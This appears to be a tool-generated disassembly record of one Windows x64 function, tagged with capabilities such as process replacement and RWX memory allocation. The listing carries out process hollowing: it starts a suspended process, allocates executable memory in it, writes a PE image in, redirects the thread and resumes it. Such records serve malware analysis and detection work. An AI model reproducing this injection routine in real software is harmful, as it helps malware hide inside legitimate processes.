Function at 0x140016a90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x1978
call fcn.14007f4f0
sub rsp, rax
mov r8d, 0x208
lea rdx, [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140016ad5
mov eax, 0xffffffff
jmp 0x140016ebb
mov r8d, 0x1208
xor edx, edx
lea rcx, [rsp + 0x760]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x80]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
add rax, rax
mov r8, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x760]
call sub.VCRUNTIME140.dll_memcpy
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov rcx, qword [rsp + 0x68]
mov word [rsp + rcx*2 + 0x760], ax
mov rax, qword [rsp + 0x68]
lea rax, [rsp + rax*2 + 0x762]
mov r8, qword [rsp + 0x19a0]
mov rdx, qword [rsp + 0x1998]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x1990]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1990]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp dword [rax], 0x4550
je 0x140016b94
mov eax, 0xfffffffe
jmp 0x140016ebb
mov rax, qword [rsp + 0x1980]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x1988]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x760]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140016bf4
mov eax, 0xfffffffd
jmp 0x140016ebb
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0x290]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x2c0], 0x10000b
lea rdx, [rsp + 0x290]
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140016c52
mov edx, 0xfffffffc
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffc
jmp 0x140016ebb
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x50]
mov rdx, qword [rax + 0x30]
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140016cb2
mov edx, 0xfffffffb
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffb
jmp 0x140016ebb
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x1990]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140016d08
mov edx, 0xfffffffa
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffffa
jmp 0x140016ebb
mov qword [rsp + 0x60], 0
jmp 0x140016d20
mov rax, qword [rsp + 0x60]
inc rax
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp qword [rsp + 0x60], rax
jae 0x140016dd8
mov rax, qword [rsp + 0x78]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1990]
add rcx, rax
mov rax, rcx
imul rcx, qword [rsp + 0x60], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x1990]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x70]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0x58]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140016dd3
mov edx, 0xfffffff9
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff9
jmp 0x140016ebb
jmp 0x140016d13
mov rax, qword [rsp + 0x318]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x58]
mov rdx, rax
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140016e30
mov edx, 0xfffffff8
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff8
jmp 0x140016ebb
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x310], rax
lea rdx, [rsp + 0x290]
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140016e86
mov edx, 0xfffffff7
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff7
jmp 0x140016ebb
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x140016eb9
mov edx, 0xfffffff6
mov rax, qword [rsp + 0x1980]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 0xfffffff6
jmp 0x140016ebb
xor eax, eax
add rsp, 0x1978
ret